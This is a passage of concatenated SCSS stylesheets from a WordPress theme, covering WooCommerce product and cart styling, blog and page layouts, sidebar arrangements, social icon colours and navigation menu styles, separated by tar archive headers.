    position: relative;

    .product_title {
        clear: none;
        margin-top: 0;
        padding: 0;
        font-size: 2em;
        line-height: 1.216;
        @include for_device( tablet ) {
            font-size: 1.9em;
        }
        @include for_device( mobile ) {
            font-size: 1.7em;
        }
    }

    span.price,
    p.price {
        font-size: 1.25em;
        margin-bottom: 0.875em;
        ins {
            background: inherit;
            font-weight: 500;
            display: inline-block;
        }

        del {
            opacity: 0.5;
            display: inline-block;
        }
    }

    .stock {
        color: $highlight;
    }

    .out-of-stock {
        color: red;
    }

    .woocommerce-product-rating {
        margin-bottom: 0.72em;
        .woocommerce-review-link {
            display: none;
        }
    }
    .wc-product-images {
        position: relative;
    }

    div.images {
        margin-bottom: 2em;

        img {
            display: block;
            width: 100%;
            height: auto;
            box-shadow: none;
        }

        div.thumbnails {
            padding-top: 1em;
        }

        &.woocommerce-product-gallery {
            position: relative;
        }

        .woocommerce-product-gallery__wrapper {
            transition: all cubic-bezier(0.795, -0.035, 0.000, 1.000) .5s;
            margin: 0;
            padding: 0;
        }

        .woocommerce-product-gallery__wrapper .zoomImg {
            background-color: #fff;
            opacity: 0;
        }

        .woocommerce-product-gallery__image:nth-child(n+2) {
            width: 25%;
            display: inline-block;
        }

        .woocommerce-product-gallery__trigger {
            position: absolute;
            top: 15px;
            right: 15px;
            font-size: 1em;
            z-index: 9;
            width: 36px;
            height: 36px;
            background: rgba(255,255,255,0.5);
            border-radius: 100%;
            box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
            color: #888888;
            opacity: 0.6;
            display: inline-block;
            transition: all 0.3s linear;
            box-sizing: content-box;
            overflow: hidden;
            line-height: 10em;
            &:hover, &:focus {
                opacity: 1;
                box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26), 0 0 0 1px rgba(0, 0, 0, 0.18);
                background-color: rgba(255,255,255,0.99);
            }

            &:before {
                content: "\e035";
                font-family: "WooCommerce";
                display: flex;
                height: 100%;
                width: 100%;
                justify-content: center;
                align-items: center;
                position: absolute;
                top: 50%;
                left: 50%;
                font-size: 1em;
                line-height: 0;
                transform: translate( -50%, -50%);
                box-sizing: content-box;
            }

            img {
                display: none !important;
            }
        }

        .flex-control-thumbs {
            overflow: hidden;
            zoom: 1;
            margin: 10px -10px 0px;
            padding: 0;
            li {
                width: 25%;
                float: left;
                margin: 0;
                padding: 10px;
                list-style: none;
                &:last-child {
                    margin-right: 0px;
                }

                img {
                    cursor: pointer;
                    opacity: .5;
                    margin: 0;

                    &.flex-active,
                    &:hover {
                        opacity: 1;
                    }
                }
            }
        }
    }

    .woocommerce-product-gallery--columns-3 {
        .flex-control-thumbs li:nth-child(3n+1) {
            clear: left;
        }
    }

    .woocommerce-product-gallery--columns-4 {
        .flex-control-thumbs li:nth-child(4n+1) {
            clear: left;
        }
    }

    .woocommerce-product-gallery--columns-5 {
        .flex-control-thumbs li:nth-child(5n+1) {
            clear: left;
        }
    }

    div.summary {
        margin-bottom: 2em;
    }

    div.social {
        text-align: right;
        margin: 0 0 1em;

        span {
            margin: 0 0 0 2px;

            span {
                margin: 0;
            }

            .stButton .chicklets {
                padding-left: 16px;
                width: 0;
            }
        }

        iframe {
            float: left;
            margin-top: 3px;
        }
    }



    p.cart {
        margin-bottom: 2em;
        @include clearfix();
    }

    form.cart {
        margin-bottom: 1.41575em;
        @include clearfix();

        div.quantity {
            float: left;
            margin: 0 1em 0em 0;
        }

        table {
            border-width: 0 0 1px;

            td {
                padding-left: 0;
            }

            div.quantity {
                float: none;
                margin: 0;
            }

            small.stock {
                display: block;
                float: none;
            }
        }

        .variations {
            margin-bottom: 1.41575em;
            border: 0;
            width: 100%;

            tr {
                margin-bottom: 0.72em;
                display: block;
                &:last-child {
                    margin-bottom: 0;
                }
            }

            td,
            th {
                border: 0;
                vertical-align: top;
                line-height: 2em;
            }

            label {
                font-weight: 500;
            }

            select {
                max-width: 100%;
                min-width: 50%;
                width: 150px;
                display: inline-block;
                margin-right: 1em;
                color: #444444;
            }
            td.label {
                padding-right: 1em;
            }
        }

        .woocommerce-variation-description p {
            margin-bottom: 1em;
        }

        .reset_variations {
            visibility: hidden;
            font-size: 0.83em;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }

        .wc-no-matching-variations {
            display: none;
        }

        .button {
            vertical-align: middle;
            float: left;
        }

        .group_table {
            td.woocommerce-grouped-product-list-item__label {
                padding-right: 1em;
                padding-left: 1em;
            }

            td {
                vertical-align: top;
                //padding-bottom: 0.5em;
                border: 0;
            }

            td:first-child {
                width: 11em;
                text-align: center;
                .button.product_type_variable {
                    font-size: 0.7em;
                    min-height: auto;
                    margin-left: 1em;
                }
            }

            .wc-grouped-product-add-to-cart-checkbox {
                display: inline-block;
                width: auto;
                margin: 0 auto;
                transform:scale(1.5, 1.5);
            }
        }
    }
}

span.onsale {
    padding: 2px 8px;
    position: absolute;
    text-align: center;
    top: 1em;
    left: 1em;
    margin: 0;
    border-radius: 2px;
    background-color: $highlight;
    color: $highlightext;
    font-size: 0.72em;
    z-index: 9;
    display: flex;
    align-items: center ;
    justify-content: center;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    font-weight: bold;
    .amount {
        color: inherit !important;
    }
}compatibility/woocommerce-smallscreen.scss000066600000005346151143724600015156 0ustar00/**
 * woocommerce-smallscreen.scss
 * Optimises the default WooCommerce frontend layout when viewed on smaller screens.
 */

/**
 * Imports
 */
@import '../utils/vars';
@import "../utils/mixins";

/**
 * Style begins
 */
.woocommerce,
.woocommerce-page {

	table.shop_table_responsive {
		thead {
			display: none;
		}

		tbody {
			tr:first-child {
				td:first-child {
					border-top: 0;
				}
			}

			th {
				display: none;
			}
		}

		tr {
			display: block;

			td {
				display: block;
				text-align: right !important; // Important to overwrite order status inline styling

				&.order-actions {
					text-align: left !important; // This must always align left on handheld
				}

				&::before {
					content: attr(data-title) ': ';
					font-weight: 700;
					float: left;
				}

				&.product-remove,
				&.actions {
					&::before {
						display: none;
					}
				}
			}
		}
	}

	table.my_account_orders {
		tr {
			td {
				&.order-actions {
					text-align: left;

					&::before {
						display: none;
					}

					.button {
						float: none;
						margin: 0.125em 0.25em 0.125em 0;
					}
				}
			}
		}
	}

	/**
	 * General layout
	 */
	.col2-set {
		.col-1,
		.col-2 {
			float: none;
			width: 100%;
		}
	}

	/**
	 * Products
	 */
	ul.products[class*='columns-'] {
		li.product {
			width: 48%;
			float: left;
			clear: both;
			margin: 0 0 2.992em;

			&:nth-child( 2n ) {
				float: right;
				clear: none !important; // This should never clear.
			}
		}
	}

	/**
	 * Product Details
	 */
	div.product,
	#content div.product {
		div.images,
		div.summary {
			float: none;
			width: 100%;
		}
	}

	/**
	 * Cart
	 */
	table.cart,
	#content table.cart {
		.product-thumbnail {
			display: none;
		}

		td.actions {
			text-align: left;

			.coupon {
				float: none;
				@include clearfix();
				padding-bottom: 0.5em;
				width: 100%;
			}
			> .button {
				width: 100%;
			}
		}
	}

	.cart-collaterals {
		.cart_totals,
		.shipping_calculator,
		.cross-sells {
			width: 100%;
			float: none;
			text-align: left;
		}
	}

	/**
	 * Checkout
	 */
	&.woocommerce-checkout {
		form.login {
			.form-row {
				width: 100%;
				float: none;
			}
		}
	}

	#payment {
		.terms {
			text-align: left;
			padding: 0;
		}

		#place_order {
			float: none;
			width: 100%;
			box-sizing: border-box;
			margin-bottom: 1em;
		}
	}

	/**
	 * Account
	 */
	.lost_reset_password {
		.form-row-first,
		.form-row-last {
			width: 100%;
			float: none;
			margin-right: 0;
		}
	}
}

.woocommerce-account {
	.woocommerce-MyAccount-navigation,
	.woocommerce-MyAccount-content {
		float: none;
		width: 100%;
	}
}

/**
 * Twenty Thirteen specific styles
 */
.single-product {
	.twentythirteen {
		.panel {
			padding-left: 20px !important;
			padding-right: 20px !important;
		}
	}
}
compatibility/woocommerce.scss000066600000004243151143724600012643 0ustar00@import '../utils/vars';
@import "../utils/mixins";
@import 'wc/woocommerce-mixins';
@import 'wc/woocommerce-vars';
@import 'wc/woocommerce-animation';
@import 'wc/woocommerce-fonts';
@import "wc/woocommerce-layout";
@import "wc/woocommerce-main";
@import "wc/wc-loop";
@import "wc/wc-widgets";
@import "wc/wc-cart";
@import "wc/wc-single-product";
@import "wc/wc-elements";
@import "wc/wc-product";
@import "wc/wc-order";
@import "wc/wc-forms";
@import "wc/wc-reviews";
@import "wc/wc-cart-checkout";


/* Sale on badge */
.woocommerce span.onsale {
    padding: .202em .602em;
}

/* Single Product */
.single-product div.product table.variations td, .single-product div.product table.variations th {
    display: list-item;
    padding: 0;
    list-style: none;
    background-color: transparent;
}
.single-product div.product .single_variation .price {
    margin-bottom: 1em;
    display: block;
}

/* My account navigation & content */
.woocommerce-account {
    .woocommerce-MyAccount-navigation {
        width: 24%;
        ul {
            list-style: none;
            margin-left: 0px;
            li {
                a {
                    display: block;
                    padding: 10px 0px 11px;
                    border-bottom: 1px solid $color_border;
                }
                &.is-active {
                    a {
                        color: $color_link_hover;
                    }
                }
            }
        }
    }
    .woocommerce-MyAccount-content {
        width: 72%;
    }
}

.footer_payment_methods {
    display: inline-block;
    margin: 0px;
    padding: 0px;
    list-style: none;
    font-size: 25px;
    line-height: 0px;
    li {
         i:before {
             line-height: 0px;
         }
        line-height: 0px;
        &:last-child {
            margin-right: 0px;
        }
        &:first-child {
            margin-left: 0px;
        }
        display: inline-block;
    }
}
.woocommerce-pagination{
	.customify-infinity-loader{
		.customify-infinity-button.button{
			&.loading{
				&::after{
					content: none!important;
				}
			}
		}
	}
}layouts/_blogs.scss000066600000026753151143724600010432 0ustar00$blog_gutter: $gl-gutter;

.bypostauthor {
    display: inline-block;
}

.entry-title {
    word-wrap: break-word;
}

.entry-meta {
    > span {
        display: inline-block;
        padding: 5px 0;
    }
    .sep {
        margin-left: 8px;
        margin-right: 8px;
    }
    .author {
        img {
            vertical-align: middle;
            overflow: hidden;
            border-radius: 50%;
            margin-right: 5px;
        }
    }
}


.posts-layout {
    .entry {
        margin-bottom: 2em;
    }
    .entry--item {
        margin-bottom: 15px;
        &:last-child {
            margin-bottom: 0px;
        }
    }

    .entry-inner {
        display: flex;
        flex-wrap: wrap;
        align-items: stretch;
        width: 100%;
        border-bottom: 1px solid $color_border;
        padding-bottom: 2em;
        @include for_device( mobile ){
            display: block;
        }
    }

    .entry-media {
        position: relative;
        max-width: 100%;
        flex-basis: 40%;
        padding-top: 0;
        overflow: hidden;
        @include for_device( mobile ){
            margin-bottom: 1em;
            width: 100% !important;
            padding-top: 56.25%; // 16:9
        }
    }
    .entry-thumbnail {
        position: absolute;
        top: 0px;
        bottom: 0px;
        width: 100%;
        height: 100%;
        display: flex;
        line-height: 0;
        background-color: #d5d5d5;
        img {
            object-fit: cover;
            width: 100%;
            height: auto;
        }
        a {
            position: absolute;
            top: 0px;
            top: 0px;
            display: block;
        }
    }
    .entry-title {
        font-size: 1.5em;
        font-weight: 500;
        word-wrap: break-word;
        display: flex;
        align-items: center;
        a {
            text-align: inherit;
            display: block;
            flex-basis: 100%;
        }
    }
    .entry-excerpt {
        p{
            &:last-child {
                margin-bottom: 0px;
            }
        }
    }
    .entry-media-link {
        position: absolute;
        top: 0; left: 0; right: 0; bottom: 0; display: block;
        z-index: 30;
    }
    .entry-content-data {
        flex: 1;
        word-wrap: break-word;
        max-width: 100%;
    }

    .entry-readmore {
        margin-top: 1em;
    }

    .entry-cat {
        top: 0;
        display: block;
        a {
            color: inherit;
            &:hover {
                color: inherit;
            }
        }
    }

    .readmore-button {
        display: inline-block;
        line-height: 1;
        border: 1px solid $color_primary;
        color: $color_primary;
        border-radius: 2px;
        cursor: pointer;
        padding: 7px 17px;
        font-size: 13px;
        text-transform: uppercase;
        letter-spacing: 0.5px;
        transition: transform .18s, border .18s, background .18s, box-shadow .18s, opacity .18s, color .18s;
        font-weight: 500;
        &:hover {
            background: $color_primary;
            color: #FFFFFF;
            border-color: $color_primary;
        }
    }

    .entry-content-data {
        display: flex;
        flex-flow: column nowrap;
    }
    .entry-article-part {
        position: relative;
        width: 100%;
        margin-bottom: 15px;
        &:first-child {
            margin-top: 0;
        }
        &.entry-article-media {
            flex: none;
            position: absolute;
            top: 0px;
            width: 100%;
            height: 100%;
            overflow: hidden;
        }
        &.entry-article-footer{
            display: flex;
            margin-top: auto;
            margin-bottom: 0px;
            justify-content: space-between;
            &.only-more {
                .entry-readmore {
                    width: 100%;
                }
            }
        }
    }

    .entry-article-footer {
        align-items: center;
        > *, .entry-meta {
            margin-bottom: 0px;
            margin-top: 0px;
            display: inline-block;
        }
    }
    .entry-thumbnail {
        transition: all .3s linear;
        img {
            transition: all .3s linear;
        }
        &:before {
            transition: all .3s linear;
            content: "";
            display: block;
            position: absolute;
            top: 0px; left: 0px; bottom: 0px; right: 0px;
            z-index: 2;
        }
    }
    .entry-article-media {
        z-index: 5;
    }

    // Media content align
    .mc-bottom {
        .media-content-inner {
            position: absolute;
            left: 0px;
            bottom: 0px;
            width: 100%;
            display: block;
        }
    }
    .mc-top {
        .media-content-inner {
            position: absolute;
            left: 0px;
            top: 0px;
            width: 100%;
            display: block;
        }
    }
    .mc-center {
        .media-content-inner {
            position: absolute;
            left: 0px;
            top: 0px;
            bottom: 0px;
            right: 0px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
    }


    &.layout-- {

        &blog_column, &blog_boxed {
            .entry-inner {
                display: block;
                .entry-content-data, .entry-article-header {
                    display: flex;
                    flex-direction: column;
                }
            }
        }

        &blog_classic {
            .entry-media {
                margin-right: $blog_gutter;
                @include for_device( mobile ) {
                    margin-right: 0px;
                }
            }
        }


        &blog_column, &blog_boxed {
            .entry-media {
                padding-top: 40%;
            }
            .entry {
                display: block;
            }
            .sticky {
                .entry-content-data {
                    background-color: #fcf8e3;
                    border: 1px solid #faf2cc;
                    border-top: 0px none;
                    color: #8a6d3b;
                    padding: 1em;
                }
            }
            .entry-media {
                margin-bottom: 1em;
                display: block;
                position: relative;
            }
        }

        &blog_boxed {
            .entry-content-data {
                padding: ( $blog_gutter /2 );
            }
        }

    }

}

// Pagination
.pagination {
    margin: 30px auto;
    display: block;
    .nav-links {
        > * {
            border: 1px solid $color_border;
            color: $color_meta;
            padding: 4px 12px 4px;
            border-radius: 1px;
            text-transform: uppercase;
            font-weight: 500;
            letter-spacing: 0.8px;
            display: inline-block;
            &:hover {
                border-color: $color_primary;
                background: $color_primary;
                color: #FFFFFF;
            }
        }
        span {
            border-color: $color_primary;
            background: $color_primary;
            color: #FFFFFF;
        }
    }
}

// Single post
.single {
    .entry-meta {
        margin-bottom: ms(1);
    }
    .entry-footer {
        margin-bottom: ms(2);
    }
}

.entry-content {
    .page-links {
        display: block;
        margin: 5px 0px 20px;
        font-weight: 500;
        a {
            border: 1px solid $color_border;
            padding: 5px 12px 5px;
            text-transform: uppercase;
            color: $color_text;
            margin: 0px 2px;
        }
    }
    .table-wrapper {
        max-width: 100%;
        overflow: auto;
    }
}

.single-post {
    .entry-content {
        a {
            &:hover {
                text-decoration: underline;
            }
        }
    }
}

.entry-single {
    .entry--item:not( .entry-title ), .entry-thumbnail {
        margin-bottom: 1.41575em;
        &:last-child {
            margin-bottom: 0px;
        }
    }
    .entry--item.entry-related {
        margin-bottom: 0.41575em;
    }
    .tags-links, .cats-links {
        &:before {
            font: normal normal normal 16px/1 FontAwesome;
            text-decoration: inherit;
            text-transform: none;
            position: relative;
            margin-right: 5px;
            color: $color_meta;
        }
    }

    .cats-links:before {
        content: "\f115";
    }

    .tags-links:before {
        content: "\f02c";
    }

    .edit-link {
        display: block;
        width: 100%;
        margin-top: ms(-3);
        a {
            text-transform: uppercase;
            font-weight: 500;
            font-size: 80%;
            letter-spacing: 0.5px;
        }
    }
}

// Biography box
.author-bio {
    display: flex;
    .avatar {
        flex-basis: 90px;
        @include for_device( mobile ){
            flex-basis: 90px;
        }
    }
    .author-bio-details {
        flex-basis: calc( 100% - 90px );
        margin-left: 1.5em;
        @include for_device( mobile ){
            flex-basis: calc( 100% - 50px );
        }
    }
    .author-bio-desc p:last-child {
        margin-bottom: 0.72em;
    }
}

.post-navigation .nav-links {
    @include clearfix();
    padding: 16px 0px 15px;
    border-top: 1px solid $color_border;
    border-bottom: 1px solid $color_border;
    .nav-previous, .nav-next {
        width: 49%;
        a {
            span.meta-nav {
                display: block;
                margin-bottom: 5px;
            }
        }

    }
    .nav-previous {
        float: left;
        text-align: left;
    }
    .nav-next {
        float: right;
        text-align: right;
    }
}

// Related Posts
.related-post-title {
    margin-bottom: 0.41575em;
    @include for_device( mobile ){
        margin-bottom: 0;
    }
}
.related-post {
    margin-bottom: 1em;
    .entry-title {
        font-size: 1.1em;
        line-height: 1.3;
    }
}

.related-thumbnail {
    a {
        display: block;
        line-height: 0px;
        position: relative;
    }
}

.img-pos-left , .img-pos-right {
    .related-post {
        display: flex;
        @include for_device( mobile ){
            display: block;
        }
    }
    .related-thumbnail {
        flex-basis: 160px;
        position: relative;

        @include for_device( mobile ){
            margin-bottom: 1em;
        }
        img {
            width: 100%;
            object-fit: cover;
            display: block;
        }
    }
    .related-body {
        flex-basis: calc( 100% - 160px );
        p {
            margin-bottom: 0px;
        }
    }
}

.img-pos-left {
    .related-body {
        padding-left: 1em;
        @include for_device( mobile ){
            padding-left: 0em;
        }
    }
}

.img-pos-right {
    .related-body {
        order: 1;
        padding-right: 1em;
        @include for_device( mobile ){
            padding-right: 0em;
        }
    }
    .related-thumbnail {
        order: 2;
    }
}

.img-pos-top {
    .related-thumbnail {
        margin-bottom: 0.5em;
        img {
            width: 100%;
        }
    }
}

layouts/_pages.scss000066600000000501151143724600010402 0ustar00/* Page Mics */
.archive, .search {
    .page-title {
        margin-bottom: 35px;
        padding-bottom: 20px;
        border-bottom: 1px solid $color_border;
    }
}

/* Search Page */
.search {
    .content-area {
        .entry-summary p:last-child {
            margin-bottom: 0px;
        }
    }
}

/* 404 Page */layouts/_layouts.scss000066600000013721151143724600011013 0ustar00/*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
# Layouts Helper
# Layout: content-sidebar
# Layout: sidebar-content
# Layout: sidebar-sidebar-content
# Layout: content-sidebar-sidebar
# Layout: sidebar-content-sidebar
*/

/************************
    HIDING COLS FOR DEVICES
*************************/
@each $mq-key, $mq-value in $gl-devices-list {
    @media #{$mq-value} { //_#{$mq-key}
        .hide-on-#{$mq-key},
        .customify-grid .hide-on-#{$mq-key} { display: none; }
        .align-left-#{$mq-key} { text-align: left; }
        .align-center-#{$mq-key} { text-align: center; }
        .align-right-#{$mq-key} { text-align: right; }
    }
}

#page {
    position: relative;
}

.no-box-shadow {
    box-shadow: none !important;
}

// Site boxed layout.
.site-boxed, .site-framed {
    .site {
        max-width: 1248px;
        box-shadow: 0 3px 6px -4px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);
        margin: 0 auto;
    }
}

// Site framed layout.
.site-framed {
    .site {
        margin-top: 30px;
        margin-bottom: 30px;
    }
}

.customify-container {
    position: relative;
    padding-left: 2em;
    padding-right: 2em;
    @include clearfix;
    @include mq(max-sm) {
        padding-left: 1em;
        padding-right: 1em;
    }
}
.customify-container, .layout-contained{
   // max-width: $container_width; // 1200px
    max-width: 1248px; // 1200px
    margin: 0 auto;
}

.site-content {
    background: #fff;
    &.content-full-width {
        .customify-container {
            max-width: 100%;
        }
    }
    &.content-boxed {
        max-width: $container_width;
        margin: 0 auto;
    }
    &.content-full-stretched {
        .customify-container {
            max-width: 100%;
        }
        > .customify-container {
            padding-left: 0px;
            padding-right: 0px;
            .customify-grid {
                margin: 0px;
            }
            .content-area.customify-col-12 {
                margin-right: 0px;
                margin-left: 0px;
            }
        }
        #main.customify-col-12 {
            padding:0;
        }
    }
}

#sidebar-secondary, #sidebar-primary, #main {
    padding-top: ms(4);
    padding-bottom: ms(4);
}
.sidebar-content-sidebar {
    #main {
        @include for_device( tablet ) {
            border-left: 0px none;
        }
    }
    #sidebar-secondary {
        @include for_device( tablet ) {
            order: 5;
            display: none;
        }
    }
}


/*-- Layout: content-sidebar --*/
.content-sidebar {
    @include mq(min-sm) {
        .content-inner {
            padding-right: ms(0);
        }
        &.sidebar_vertical_border {
            .content-area {
                border-right: 1px solid $color_border;
            }
            .content-inner {
                padding-right: ms(0);
            }
            .sidebar-primary-inner {
                padding-left: ms(0);
            }
        }
    }
}

/*-- Layout: sidebar-content --*/
.sidebar-content {
    @include mq(min-sm) {
        .content-inner {
            padding-left: ms(0);
        }
        &.sidebar_vertical_border {
            .content-area {
                border-left: 1px solid $color_border;
            }
            .content-inner {
                padding-left: ms(0);
            }
            .sidebar-primary-inner {
                padding-right: ms(0);
            }
        }
    }
}

/*-- Layout: sidebar-sidebar-content --*/
.sidebar-sidebar-content {
    @include mq(min-sm) {
        .content-inner {
            padding-left: ms(0);
        }
        &.sidebar_vertical_border {
            .content-area {
            }
            .sidebar-primary {
                border-right: 1px solid $color_border;
            }
            .sidebar-secondary {
                border-right: 1px solid $color_border;
            }
            .content-inner {
                padding-left: ms(0);
            }
            .sidebar-primary-inner {
                padding-right: ms(0);
            }
            .sidebar-secondary-inner {
                padding-left: ms(0);
                padding-right: ms(0);
            }
        }
    }
}


/*-- Layout: content-sidebar-sidebar --*/
.content-sidebar-sidebar {
    // Layout with vertical border, only for large screen
    @include mq(min-sm) {
        .content-inner {
            padding-right: ms(0);
        }
        &.sidebar_vertical_border {
            .content-area {
            }
            .sidebar-primary {
                border-left: 1px solid $color_border;
            }
            .sidebar-secondary {
                border-left: 1px solid $color_border;
            }
            .content-inner {
                padding-right: ms(0);
            }
            .sidebar-primary-inner {
                padding-left: ms(0);
                padding-right: ms(0);
            }
            .sidebar-secondary-inner {
                padding-left: ms(0);
            }
        }
    }
}

/*-- Layout: sidebar-content-sidebar --*/
.sidebar-content-sidebar {
    // Layout with vertical border, only for large screen
    @include mq(min-sm) {
        .content-inner {
            padding-left: ms(0);
            padding-right: ms(0);
        }
        &.sidebar_vertical_border {
            .content-area {
                border-left: 1px solid $color_border;
                border-right: 1px solid $color_border;
            }
            .content-inner {
                padding-left: ms(0);
                padding-right: ms(0);
            }
            .sidebar-primary-inner {
                padding-left: ms(0);
            }
            .sidebar-secondary-inner {
                padding-right: ms(0);
            }
        }
    }
    @include mq(max-md) {
        &.sidebar_vertical_border {
            .content-inner {
                padding-left: 0;
            }
        }
    }
}

.skip-grid--column {
    .builder-item {
        display: inline-block;
    }
}


header/_header_main.scss000066600000000264151143724600011275 0ustar00.header-main {
    padding: 0px;
    .dark-mode {
        background: #1a1a1a;
    }
    .light-mode {
        box-shadow: 0 1px 2px 0 #e1e5ea;
        background: #FFFFFF;
    }
}header/builder_items/_social_icons.scss000066600000005353151143724600014341 0ustar00/* Social Icons */

.customify-builder-social-icons {
    display: inline-block;
    margin: 0px;
    padding: 0px;
    list-style: none;
    position: relative;
    li {
        list-style: none;
        display: inline-block;
        margin: 0px 3px;
        &:last-child {
            margin-right: 0px;
        }
        &:first-child {
            margin-left: 0px;
        }
    }

    &.color-default {
        a {
            color: #fff;
            &:hover {
                color: #fff;
            }
        }
    }

    a {
        color: currentColor;
        text-align: center;
        vertical-align: middle;
        width: 100%;
        //height: 100%;
        padding: 0.4em;
        display: inline-block;
        line-height: 1;
        font-size: 13px;
        i {
            width: 1em;
            height: 1em;
            position: relative;
            display: block;
            &:before {
                position: absolute;
                left: 50%;
                -webkit-transform: translateX(-50%);
                -ms-transform: translateX(-50%);
                transform: translateX(-50%);
            }
        }
        &:hover {
            opacity: .9;
            color: inherit;
        }
    }
}

$socials-list: (
    'apple': #999999,
    'behance': #1769ff,
    'bitbucket': #205081,
    'codepen': #000000,
    'delicious': #3399ff,
    'digg': #005be2,
    'dribbble': #ea4c89,
    'envelope': #ea4335,
    'facebook': #3b5998,
    'flickr': #0063dc,
    'foursquare': #2d5be3,
    'github': #333333,
    'google-plus': #dd4b39,
    'houzz': #7ac142,
    'instagram': #262626,
    'jsfiddle': #487AA2,
    'linkedin': #0077b5,
    'medium': #00ab6b,
    'odnoklassniki': #F4731C,
    'meetup': #ec1c40,
    'pinterest': #bd081c,
    'product-hunt': #da552f,
    'reddit': #ff4500,
    'rss': #f26522,
    'shopping-cart': #4CAF50,
    'skype': #00AFF0,
    'slideshare': #0077b5,
    'snapchat': #fffc00,
    'soundcloud': #ff8800,
    'spotify': #2ebd59,
    'stack-overflow': #fe7a15,
    'telegram': #2CA5E0,
    'tripadvisor': #589442,
    'tumblr': #35465c,
    'twitch': #6441A5,
    'twitter': #1DA1F2,
    'vimeo': #1ab7ea,
    'vk': #45668e,
    'weibo': #df2029,
    'weixin': #7bb32e,
    'whatsapp': #25d366,
    'wordpress': #21759b,
    'xing': #026466,
    'yelp': #af0606,
    'youtube': #cd201f,
);

.customify-builder-social-icons {
    @each $social-key, $color in $socials-list {
        [class*="social-icon-#{$social-key}"] {
            background-color: $color;
            &.shape-none {
                background-color: transparent;
                color: $color;
            }
        }
    }
}


header/builder_items/_html_1.scss000066600000000301151143724600013044 0ustar00/* HTML 1 */
.item--html {
    p {
        font-weight: 500;
        text-transform: uppercase;
        font-size: 13px;
        &:last-child {
            margin-bottom: 0px;
        }
    }
}header/builder_items/_navigation.scss000066600000025655151143724600014042 0ustar00/* Navigation */
.nav-menu-mobile , .nav-menu-desktop {
    .menu-item .link-before {
        position: relative;
        display: inline-flex;
        align-items: center;
    }
    .nav-icon-angle {
        display: inline-block;
        font-size: inherit;
        text-rendering: auto;
        text-decoration: none !important;
        position: relative;
        width: 6px;
        height: 6px;
        margin-top: 1px;
        border-left: 1px solid currentColor;
        border-top: 1px solid currentColor;
        transform: rotate(-135deg) translateY(50%);
    }
}

.nav-menu-desktop {
    .nav-icon-angle {
        display: inline;
        font-size: inherit;
        text-rendering: auto;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        text-decoration: none !important;
    }
    &.hide-arrow-active {
        .nav-icon-angle {
            display: none;
        }
    }
    .menu {
        list-style: none;
        padding: 0px;
        margin: 0px;
        li {
            display: inline-block;
            position: relative;
            &:last-child {
                margin-right: 0px;
            }
            a {
                display: inline-block;
                transition: all 0.14s ease-out;
                text-decoration-color: currentColor;
            }

            &.current-menu-item {
                 > a {
                     color: rgba(0,0,0,0.9);
                 }
            }
        }
        > li > a {
            padding: 12px 13px 12px;
            display: inline-flex;
            align-items: center;
            text-transform: uppercase;
            font-weight: 600;
            font-size: 0.85em;
            line-height: 1;
            i {
                line-height: 0;
            }
        }

        > li.menu-item-has-children {
            > a {
                .nav-icon-angle {
                    margin-left: 4px;
                    line-height: 0;
                }
            }
        }

        .sub-menu {
            li.menu-item-has-children {
                > a {
                    position: relative;
                    @include clearfix();
                    .nav-icon-angle {
                        margin-left: 5px;
                        float: right;
                    }
                }
            }
        }

    }

    .sub-lv-0, .sub-menu {
        position: absolute;
        left: 0px;
        transition: all .3s ease;
        z-index: 99; 
        opacity: 0;
        height: 0;
        overflow: hidden;
        visibility: hidden;
        display: block;
        transform: translateY(40px);
        top: 100%;
        margin: 0px;
        padding: 0px;
    }
    .sub-menu {
        width: $submenu_width;
        background: #ffffff;
        box-shadow: 0 2px 4px -2px rgba(0, 0, 0, 0.1), 0px 4px 15px 0px rgba(0, 0, 0, 0.1);
        text-align: left;
        border-radius: 2px;
        //&:before {
        //    position: absolute;
        //    content: "";
        //    top: 0px;
        //    left: 0px;
        //    right: 0px;
        //    bottom: 0px;
        //    border: 1px solid $color_border;
        //}
        .link-before {
            display: flex;
            justify-content: space-between;
        }
        .nav-icon-angle {
            transform: rotate(135deg) translateY(0);
        }
        li {
            display: block;
            margin: 0px;
            padding: 0px;
            a {
                display: block;
                width: 100%;
                padding: 9px 15px;
                transition: background 0.15s ease-out;
                color: $dark_color_link;
                font-size: 0.9em;
                line-height: 1.5;
                //border-bottom: 1px solid rgba(0,0,0,0.015);
                &:hover {
                    background: rgba(0,0,0,0.015);
                    color: $dark_color_link_hover;
                }
            }
        }

        li:last-child > a {
        }
        .sub-menu {
            top: 0px;
            left: 100%;
            //margin-top: -2px;
        }
    }

    .menu-item:hover, .menu-item:focus, .menu-item.focus {
        > .sub-menu, > .sub-lv-0 {
            height: auto;
            transform: translateY(0);
            overflow: initial;
            visibility: visible;
            opacity: 1;
        }
    }

    // Menu Style Plain
    &.style-plain {
        .nav-menu {
            @include clearfix();
            > li {
                float: left;
                //> a {
                //    &:hover, &:focus {
                //        color: rgba(0,0,0,0.9);
                //    }
                //}
                //&.current-menu-item, &.current-menu-ancestor {
                //    > a {
                //        color: rgba(0,0,0,0.9);
                //    }
                //}
            }
        }
    } // End style plain

    // Menu Style Full Height
    &.style-full-height {
        .nav-menu {
            @include clearfix();
             > li {
                 float: left;
                  > a {
                      background: transparent;
                      display: inline-flex;
                      vertical-align: middle;
                      align-items: center;
                      &:hover {
                          color: #FFFFFF;
                          background-color: $color_link;
                      }
                  }
                 &.current-menu-item, &.current-menu-ancestor {
                     > a {
                         color: #ffffff;
                         background-color: $color_link;
                     }
                 }
             }
        }
    } // End style full height

    // Menu style border bottom
    &.style-border-bottom {
        .nav-menu {
            > li {
                > a {
                    .link-before {
                        position: relative;
                        &:before {
                            position: absolute;
                            bottom: -6px;
                            width: 1px;
                            left: 0px;
                            height: 2px;
                            background-color: transparent;
                            content: "";
                            transition: all .3s ease;
                        }
                    }
                }
                &:hover, &:focus {
                    > a {
                        .link-before {
                            &:before {
                                width: 100%;
                                background-color: currentColor;
                            }
                        }
                    }
                }

                &.current-menu-item, &.current-menu-ancestor {
                    > a {
                        .link-before {
                            &:before {
                                width: 100%;
                                background-color: currentColor;
                            }
                        }
                    }
                }

            }
        }
    } // End style border bottom

